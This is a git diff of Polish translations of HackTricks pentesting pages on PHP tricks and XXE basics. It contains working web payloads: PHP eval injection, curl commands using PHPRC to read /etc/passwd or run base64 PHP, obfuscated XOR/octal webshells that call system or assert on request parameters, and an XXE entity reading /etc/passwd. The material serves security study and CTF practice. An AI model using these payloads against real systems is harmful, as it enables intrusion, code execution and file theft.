mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R
This commit is contained in:
Translator
parent
b114974d04
commit
650235d7f8
3 changed files with 144 additions and 151 deletions
|
|
@ -9,11 +9,15 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Powszechne lokalizacje plików cookies:
|
||||
|
||||
To również dotyczy plików cookies phpMyAdmin.
|
||||
|
|
@ -43,10 +47,10 @@ Tabele porównań w PHP: [https://www.php.net/manual/en/types.comparisons.php](h
|
|||
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
|
||||
* `"string" == 0 -> True` Ciąg znaków, który nie zaczyna się od liczby, jest równy liczbie
|
||||
* `"0xAAAA" == "43690" -> True` Ciągi złożone z liczb w formacie dziesiętnym lub szesnastkowym można porównać z innymi liczbami/ciągami znaków z wynikiem True, jeśli liczby były takie same (liczby w ciągu znaków są interpretowane jako liczby)
|
||||
* `"0xAAAA" == "43690" -> True` Ciągi złożone z liczb w formacie dziesiętnym lub szesnastkowym mogą być porównywane do innych liczb/ciągów znaków z wynikiem True, jeśli liczby były takie same (liczby w ciągu znaków są interpretowane jako liczby)
|
||||
* `"0e3264578" == 0 --> True` Ciąg znaków rozpoczynający się od "0e" i poprzedzony czymkolwiek będzie równy 0
|
||||
* `"0X3264578" == 0X --> True` Ciąg znaków rozpoczynający się od "0" i poprzedzony dowolną literą (X może być dowolną literą) oraz poprzedzony czymkolwiek będzie równy 0
|
||||
* `"0e12334" == "0" --> True` Jest to bardzo interesujące, ponieważ w niektórych przypadkach można kontrolować wejściowy ciąg znaków "0" i pewne treści, które są haszowane i porównywane do niego. Dlatego jeśli możesz podać wartość, która spowoduje utworzenie hasha zaczynającego się od "0e" i bez żadnej litery, możesz ominąć porównanie. Możesz znaleźć **już zahaszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"0e12334" == "0" --> True` Jest to bardzo interesujące, ponieważ w niektórych przypadkach można kontrolować wejściowy ciąg znaków "0" i pewne treści, które są haszowane i porównywane do niego. Dlatego jeśli możesz podać wartość, która spowoduje utworzenie hasza zaczynającego się od "0e" i bez żadnej litery, możesz ominąć porównanie. Możesz znaleźć **już zahaszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` Dowolna litera w ciągu znaków jest równa liczbie całkowitej 0
|
||||
|
||||
Więcej informacji na stronie [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
|
@ -70,15 +74,15 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re
|
|||
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
```
|
||||
### Surowe typy rzutowania
|
||||
### Surowe przekształcenie typów
|
||||
|
||||
Nawet jeśli jest używany `===`, mogą wystąpić błędy, które sprawiają, że porównanie jest podatne na **typowe rzutowanie**. Na przykład, jeśli porównanie **konwertuje dane na inny typ obiektu przed porównaniem**:
|
||||
Nawet jeśli jest używany `===`, mogą wystąpić błędy, które sprawiają, że porównanie jest podatne na manipulację typami. Na przykład, jeśli porównanie przekształca dane w inny typ obiektu przed porównaniem:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
### preg\_match(/^.\*/)
|
||||
|
||||
**`preg_match()`** może być używane do **walidacji danych wprowadzanych przez użytkownika** (sprawdza, czy jakiekolwiek **słowo/regex** z **czarnej listy** jest **obecne** w **danych wprowadzanych przez użytkownika** i jeśli nie, kod może kontynuować swoje wykonanie).
|
||||
**`preg_match()`** może być używane do **walidacji danych wprowadzanych przez użytkownika** (sprawdza, czy jakiekolwiek **słowo/wyrażenie regularne** z **czarnej listy** jest **obecne** w **danych wprowadzanych przez użytkownika**, a jeśli nie, kod może kontynuować swoje wykonanie).
|
||||
|
||||
#### Ominięcie nowej linii
|
||||
|
||||
|
|
@ -106,22 +110,22 @@ Znajdź przykład tutaj: [https://ramadistra.dev/fbctf-2019-rceservice](https://
|
|||
#### **Bypass błędu długości**
|
||||
|
||||
(Ten bypass został wypróbowany na PHP 5.2.5 i nie udało mi się go uruchomić na PHP 7.3.15)\
|
||||
Jeśli możesz przesłać do `preg_match()` **bardzo dużą poprawną wartość wejściową**, nie będzie w stanie jej przetworzyć i będziesz mógł **obejść** sprawdzenie. Na przykład, jeśli jest na czarnej liście JSON, możesz przesłać:
|
||||
Jeśli możesz przesłać do `preg_match()` **bardzo dużą poprawną wartość wejściową**, nie będzie w stanie jej przetworzyć, co pozwoli Ci **obejść** sprawdzenie. Na przykład, jeśli jest na czarnej liście JSON, możesz przesłać:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
#### Przejście przez ReDoS
|
||||
#### Przejście ReDoS
|
||||
|
||||
Sztuczka z: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
W skrócie problem występuje, ponieważ funkcje `preg_*` w PHP bazują na [bibliotece PCRE](http://www.pcre.org/). W PCRE pewne wyrażenia regularne są dopasowywane poprzez użycie dużej liczby wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Możliwe jest ustawienie limitu na ilość dozwolonych rekursji, ale w PHP ten limit [domyślnie wynosi 100 000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co jest więcej niż mieści się na stosie.
|
||||
W skrócie problem występuje, ponieważ funkcje `preg_*` w PHP bazują na [bibliotece PCRE](http://www.pcre.org/). W PCRE pewne wyrażenia regularne są dopasowywane poprzez użycie wielu rekurencyjnych wywołań, co zużywa dużo miejsca na stosie. Możliwe jest ustawienie limitu na ilość rekursji, ale w PHP ten limit [domyślnie wynosi 100 000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co jest więcej niż mieści się na stosie.
|
||||
|
||||
[Wątek na Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) został również podlinkowany w poście, gdzie bardziej szczegółowo omówiono ten problem. Naszym zadaniem było teraz jasne:\
|
||||
**Wysłać dane wejściowe, które sprawią, że wyrażenie regularne wykona ponad 100 000 rekursji, powodując SIGSEGV, sprawiając, że funkcja `preg_match()` zwróci `false`, co sprawi, że aplikacja uzna, iż nasze dane wejściowe nie są złośliwe, a na końcu ładując coś w stylu `{system(<bardzozła_komenda>)}` aby uzyskać SSTI --> RCE --> flaga :)**.
|
||||
**Wysłać dane wejściowe, które sprawią, że wyrażenie regularne wykona ponad 100 000 rekursji, powodując SIGSEGV, sprawiając, że funkcja `preg_match()` zwróci `false`, co sprawi, że aplikacja uzna, że nasze dane wejściowe nie są złośliwe, a na końcu ładując coś w stylu `{system(<bardzozła komenda>)}` aby uzyskać SSTI --> RCE --> flagę :)**.
|
||||
|
||||
Cóż, w terminach wyrażeń regularnych, faktycznie nie wykonujemy 100 tys. "rekursji", ale zamiast tego liczymy "kroki wstecz", co jak [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) mówi, domyślnie wynosi 1 000 000 (1M) w zmiennej `pcre.backtrack_limit`.\
|
||||
Cóż, w terminach wyrażeń regularnych, faktycznie nie wykonujemy 100 tys. "rekursji", ale zamiast tego liczymy "kroki wstecz", co, jak podaje [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), domyślnie wynosi 1 000 000 (1M) w zmiennej `pcre.backtrack_limit`.\
|
||||
Aby to osiągnąć, `'X'*500_001` spowoduje wykonanie 1 miliona kroków wstecz (500 tys. do przodu i 500 tys. do tyłu):
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
|
|
@ -137,9 +141,9 @@ $obfs = 3+2 * (TRUE + TRUE); //int 7
|
|||
$obfs .= ""; //string "7"
|
||||
$obfs += ""; //int 7
|
||||
```
|
||||
## Wykonaj Po Przekierowaniu (EAR)
|
||||
## Wykonaj po przekierowaniu (EAR)
|
||||
|
||||
Jeśli PHP przekierowuje do innej strony, ale nie jest wywoływana funkcja **`die`** lub **`exit`** po ustawieniu nagłówka `Location`, PHP kontynuuje wykonywanie i dołącza dane do ciała strony:
|
||||
Jeśli PHP przekierowuje na inną stronę, ale nie jest wywoływana funkcja **`die`** lub **`exit`** po ustawieniu nagłówka `Location`, PHP kontynuuje wykonywanie i dołącza dane do ciała strony:
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
|
|
@ -149,7 +153,7 @@ header('Location: /index.php?page=default.html');
|
|||
readfile($page);
|
||||
?>
|
||||
```
|
||||
## Wykorzystanie Traversal ścieżki i włączenie pliku
|
||||
## Wykorzystanie Traversal Path i Inkluzji Plików
|
||||
|
||||
Sprawdź:
|
||||
|
||||
|
|
@ -159,16 +163,15 @@ Sprawdź:
|
|||
|
||||
## Więcej sztuczek
|
||||
|
||||
* **register\_globals**: W **PHP < 4.1.1.1** lub w przypadku niewłaściwej konfiguracji, **register\_globals** może być aktywny (lub ich zachowanie jest imitowane). Oznacza to, że w zmiennych globalnych, takich jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", można uzyskać do niej dostęp za pomocą **$param. Dlatego wysyłając parametry HTTP, można nadpisać zmienne**, które są używane w kodzie.
|
||||
* **Ciasteczka PHPSESSION** z tej samej domeny są przechowywane w tym samym miejscu, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, można sprawić, że ścieżka **uzyskuje dostęp do ciasteczka z innej ścieżki**, ustawiając wartość ciasteczka z innej ścieżki.
|
||||
W ten sposób, jeśli **obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie**, można sprawić, że **wartość tej zmiennej w ścieżce 1 będzie stosowana do ścieżki 2**. Następnie ścieżka 2 będzie uznawać zmienne ścieżki 1 za ważne (nadając ciasteczku nazwę odpowiadającą ścieżce 2).
|
||||
* **register\_globals**: W **PHP < 4.1.1.1** lub gdy jest źle skonfigurowany, **register\_globals** może być aktywny (lub ich zachowanie jest imitowane). Oznacza to, że w zmiennych globalnych jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", można uzyskać do niej dostęp za pomocą **$param**. Dlatego, wysyłając parametry HTTP, można nadpisać zmienne używane w kodzie.
|
||||
* **Ciasteczka PHPSESSION z tej samej domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, można sprawić, że jedna ścieżka **uzyskuje dostęp do ciasteczka z innej ścieżki**, ustawiając wartość ciasteczka z innej ścieżki. W ten sposób, jeśli **obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie**, można sprawić, że **wartość tej zmiennej w ścieżce 1 będzie stosowana w ścieżce 2**. Następnie ścieżka 2 będzie uznawać zmienne ścieżki 1 za ważne (nadając ciasteczku nazwę odpowiadającą w ścieżce 2).
|
||||
* Gdy masz **nazwy użytkowników** użytkowników maszyny. Sprawdź adres: **/\~\<USERNAME>** aby zobaczyć, czy katalogi php są aktywowane.
|
||||
* [**LFI i RCE za pomocą opakowań php**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
Te funkcje są zazwyczaj używane w PHP do **generowania skrótów z haseł** i do **sprawdzania**, czy hasło jest poprawne w porównaniu ze skrótem.\
|
||||
Obsługiwane algorytmy to: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (zaczyna się od `$2y$`). Zauważ, że **PASSWORD\_DEFAULT jest często takie samo jak PASSWORD\_BCRYPT.** Obecnie **PASSWORD\_BCRYPT** ma **ograniczenie rozmiaru wejścia do 72 bajtów**. Dlatego, gdy próbujesz utworzyć skrót czegoś większego niż 72 bajty tym algorytmem, użyte zostaną tylko pierwsze 72B:
|
||||
Te funkcje są zazwyczaj używane w PHP do **generowania hashy z haseł** i do **sprawdzania**, czy hasło jest poprawne w porównaniu z hashem.\
|
||||
Obsługiwane algorytmy to: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (zaczyna się od `$2y$`). Zauważ, że **PASSWORD\_DEFAULT jest często takie samo jak PASSWORD\_BCRYPT**. Obecnie **PASSWORD\_BCRYPT** ma **ograniczenie rozmiaru wejścia do 72 bajtów**. Dlatego, gdy próbujesz zahaszować coś większego niż 72 bajty tym algorytmem, użyte zostanie tylko pierwsze 72B:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
|
|
@ -176,10 +179,10 @@ False
|
|||
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
True
|
||||
```
|
||||
### Bypassowanie nagłówków HTTP poprzez nadużycie błędów PHP
|
||||
### Ominięcie nagłówków HTTP poprzez nadużycie błędów PHP
|
||||
|
||||
Jeśli **strona PHP drukuje błędy i zwraca pewne dane wprowadzone przez użytkownika**, użytkownik może sprawić, że serwer PHP zwróci pewne **treści wystarczająco długie**, aby podczas próby **dodania nagłówków** do odpowiedzi serwer wyrzucił błąd.\
|
||||
W następującym scenariuszu **atakujący sprawił, że serwer zwrócił duże błędy**, i jak widać na ekranie, gdy PHP próbowało **zmodyfikować informacje nagłówka, nie mogło** (więc na przykład nagłówek CSP nie został wysłany do użytkownika):
|
||||
Jeśli **strona PHP drukuje błędy i echo zwraca pewne dane wprowadzone przez użytkownika**, użytkownik może sprawić, że serwer PHP wydrukuje pewne **treści wystarczająco długie**, aby kiedy próbuje **dodać nagłówki** do odpowiedzi, serwer zwróci błąd.\
|
||||
W następującym scenariuszu **atakujący sprawił, że serwer zwrócił duże błędy**, i jak widać na ekranie, kiedy PHP próbowało **zmodyfikować informacje nagłówka, nie mogło** (więc na przykład nagłówek CSP nie został wysłany do użytkownika):
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -214,7 +217,7 @@ Ta funkcja w php pozwala ci **wykonać kod napisany w postaci stringa**, aby **z
|
|||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
Będziesz musiał **przerwać** składnię kodu, **dodać** swój **payload**, a następnie ponownie to **naprawić**. Możesz użyć operacji logicznych, takich jak "**and" lub "%26%26" lub "|"**. Należy zauważyć, że "or", "||" nie działają, ponieważ jeśli pierwszy warunek jest prawdziwy, nasz payload nie zostanie wykonany. W ten sam sposób ";" nie działa, ponieważ nasz payload nie zostanie wykonany.
|
||||
Będziesz musiał **przerwać** składnię kodu, **dodać** swój **payload**, a następnie ponownie to **naprawić**. Możesz użyć operacji logicznych takich jak "**and" lub "%26%26" lub "|"**. Zauważ, że "or" lub "||" nie działają, ponieważ jeśli pierwszy warunek jest prawdziwy, nasz payload nie zostanie wykonany. Tak samo ";" nie działa, ponieważ nasz payload nie zostanie wykonany.
|
||||
|
||||
**Inną opcją** jest dodanie do ciągu znaków wykonania polecenia: `'.highlight_file('.passwd').'`
|
||||
|
||||
|
|
@ -248,7 +251,7 @@ Możesz również użyć **//** aby skomentować resztę kodu.
|
|||
Aby odkryć liczbę nawiasów, które musisz zamknąć:
|
||||
|
||||
- `?order=id;}//`: otrzymujemy komunikat o błędzie (`Parse error: syntax error, unexpected ';'`). Prawdopodobnie brakuje nam jednego lub więcej nawiasów.
|
||||
- `?order=id);}//`: otrzymujemy **ostrzeżenie**. Wygląda na to, że jest to poprawne.
|
||||
- `?order=id);}//`: otrzymujemy **ostrzeżenie**. Wygląda na to, że jest to prawidłowe.
|
||||
- `?order=id));}//`: otrzymujemy komunikat o błędzie (`Parse error: syntax error, unexpected ')' i`). Prawdopodobnie mamy za dużo zamykających nawiasów.
|
||||
|
||||
### **RCE za pomocą .httaccess**
|
||||
|
|
@ -259,16 +262,16 @@ Różne powłoki .htaccess można znaleźć [tutaj](https://github.com/wireghoul
|
|||
|
||||
### RCE za pomocą zmiennych środowiskowych
|
||||
|
||||
Jeśli znajdziesz podatność, która pozwala na **modyfikację zmiennych środowiskowych w PHP** (i inną do wgrywania plików, chociaż po dokładniejszym zbadaniu może to zostać zabezpieczone), możesz wykorzystać to zachowanie do uzyskania **RCE**.
|
||||
Jeśli znajdziesz podatność, która pozwala Ci **modyfikować zmienne środowiskowe w PHP** (i inną do wgrywania plików, chociaż po dokładniejszym zbadaniu może to być obejścione), możesz wykorzystać to zachowanie do uzyskania **RCE**.
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binariów (choć w tym przypadku może nie działać).
|
||||
- **`PHPRC`** : Wskazuje PHP, **gdzie znajduje się plik konfiguracyjny**, zwykle nazywany `php.ini`. Jeśli możesz wgrać własny plik konfiguracyjny, użyj `PHPRC`, aby wskazać PHP na niego. Dodaj wpis **`auto_prepend_file`** określający drugi wgrany plik. Ten drugi plik zawiera normalny **kod PHP, który jest następnie wykonywany** przez środowisko PHP przed jakimkolwiek innym kodem.
|
||||
- **`PHPRC`** : Wskazuje PHP, **gdzie znajduje się plik konfiguracyjny**, zwykle nazywany `php.ini`. Jeśli możesz wgrać własny plik konfiguracyjny, użyj `PHPRC` aby wskazać PHP na niego. Dodaj wpis **`auto_prepend_file`** określający drugi wgrany plik. Ten drugi plik zawiera normalny **kod PHP, który jest następnie wykonywany** przez środowisko PHP przed jakimkolwiek innym kodem.
|
||||
1. Wgraj plik PHP zawierający nasz kod powłoki
|
||||
2. Wgraj drugi plik, zawierający dyrektywę **`auto_prepend_file`** instruującą preprocesor PHP do wykonania pliku wgraliśmy w kroku 1
|
||||
2. Wgraj drugi plik zawierający dyrektywę **`auto_prepend_file`** instruującą preprocesor PHP do wykonania pliku wgraliśmy w kroku 1
|
||||
3. Ustaw zmienną `PHPRC` na plik wgrany w kroku 2.
|
||||
- Uzyskaj więcej informacji na temat wykonania tego łańcucha [**z oryginalnego raportu**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
- **PHPRC** - kolejna opcja
|
||||
- Jeśli **nie możesz wgrywać plików**, w FreeBSD możesz użyć "pliku" `/dev/fd/0`, który zawiera **`stdin`**, będący **treścią** żądania wysłanego do `stdin`:
|
||||
- Jeśli **nie możesz wgrywać plików**, możesz użyć w FreeBSD pliku "file" `/dev/fd/0`, który zawiera **`stdin`**, będący **treścią** żądania wysłanego do `stdin`:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
- Lub aby uzyskać RCE, włącz **`allow_url_include`** i dodaj plik z **kodem PHP w base64**:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
|
|
@ -276,7 +279,7 @@ Jeśli znajdziesz podatność, która pozwala na **modyfikację zmiennych środo
|
|||
|
||||
## Analiza statyczna PHP
|
||||
|
||||
Sprawdź, czy możesz wstawić kod w wywołaniach tych funkcji (z [tutaj](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
|
||||
Sprawdź, czy możesz wstawić kod w wywołania tych funkcji (z [tutaj](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
|
||||
```php
|
||||
exec, shell_exec, system, passthru, eval, popen
|
||||
unserialize, include, file_put_cotents
|
||||
|
|
@ -310,7 +313,7 @@ echo "$x ${Da}"; //Da Drums
|
|||
```
|
||||
## Wykorzystywanie RCE poprzez nowe $\_GET\["a"]\($\_GET\["b"])
|
||||
|
||||
Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz uzyskać RCE, sprawdź następną stronę, aby dowiedzieć się jak:
|
||||
Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz uzyskać RCE, sprawdź poniższą stronę, aby dowiedzieć się jak:
|
||||
|
||||
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
||||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||
|
|
@ -320,7 +323,7 @@ Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz uzys
|
|||
|
||||
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
|
||||
|
||||
### Użycie liczby ósemkowej
|
||||
### Użycie ósemkowego
|
||||
```php
|
||||
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
|
||||
```
|
||||
|
|
@ -331,16 +334,16 @@ $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3
|
|||
$___=$__; #Could be not needed inside eval
|
||||
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
||||
```
|
||||
### XOR łatwy kod powłoki
|
||||
### Kod powłoki XOR
|
||||
|
||||
Zgodnie z [**tym opisem**](https://mgp25.com/ctf/Web-challenge/), można wygenerować łatwy kod powłoki w ten sposób:
|
||||
Zgodnie z [**tym opisem**](https://mgp25.com/ctf/Web-challenge/), można wygenerować prosty kod powłoki w ten sposób:
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
Więc jeśli możesz **wykonać dowolny kod PHP bez użycia cyfr i liter**, możesz wysłać żądanie, wykorzystując tę ładunku, aby wykonać dowolny kod PHP:
|
||||
Więc jeśli możesz **wykonać dowolny kod PHP bez użycia cyfr i liter**, możesz wysłać żądanie, wykorzystując poniższy payload do wykonania dowolnego kodu PHP:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
|
@ -407,6 +410,10 @@ $____.=$__;
|
|||
$_=$$____;
|
||||
$___($_[_]); // ASSERT($_POST[_]);
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
@ -416,7 +423,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -10,10 +10,14 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Podstawy XML
|
||||
|
||||
XML to język znaczników zaprojektowany do przechowywania i transportu danych, cechujący się elastyczną strukturą, która pozwala na użycie opisowo nazwanych tagów. Różni się od HTML-a tym, że nie jest ograniczony do zestawu predefiniowanych tagów. Znaczenie XML-a zmalało wraz z rozwojem JSON-a, pomimo początkowej roli w technologii AJAX.
|
||||
|
|
@ -22,7 +26,7 @@ XML to język znaczników zaprojektowany do przechowywania i transportu danych,
|
|||
* **Definiowanie Elementów XML**: XML pozwala na określenie typów elementów, określając, jak powinny być zbudowane elementy i jaką zawartość mogą zawierać, począwszy od dowolnego rodzaju zawartości po konkretne elementy podrzędne.
|
||||
* **Definicja Typu Dokumentu (DTD)**: DTD są kluczowe w XML do określania struktury dokumentu i typów danych, które może zawierać. Mogą być wewnętrzne, zewnętrzne lub kombinacją obu, kierując formatowaniem i walidacją dokumentów.
|
||||
* **Encje Niestandardowe i Zewnętrzne**: XML obsługuje tworzenie niestandardowych encji w DTD dla elastycznej reprezentacji danych. Zewnętrzne encje, zdefiniowane za pomocą adresu URL, budzą obawy dotyczące bezpieczeństwa, zwłaszcza w kontekście ataków zewnętrznych encji XML (XXE), które wykorzystują sposób, w jaki analizatory XML obsługują zewnętrzne źródła danych: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
* **Wykrywanie XXE za pomocą Encji Parametru**: Dla wykrywania podatności na XXE, zwłaszcza gdy metody konwencjonalne zawodzą ze względu na środki bezpieczeństwa analizatora, można wykorzystać encje parametrów XML. Te encje pozwalają na techniki wykrywania poza pasmem, takie jak wywoływanie odpytywań DNS lub żądań HTTP do kontrolowanej domeny, w celu potwierdzenia podatności.
|
||||
* **Wykrywanie XXE za pomocą Encji Parametrowych**: Dla wykrywania podatności na XXE, zwłaszcza gdy metody konwencjonalne zawodzą ze względu na środki bezpieczeństwa analizatora, można wykorzystać encje parametrowe XML. Te encje pozwalają na techniki wykrywania poza pasmem, takie jak wywoływanie odpytywań DNS lub żądań HTTP do kontrolowanej domeny, w celu potwierdzenia podatności.
|
||||
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
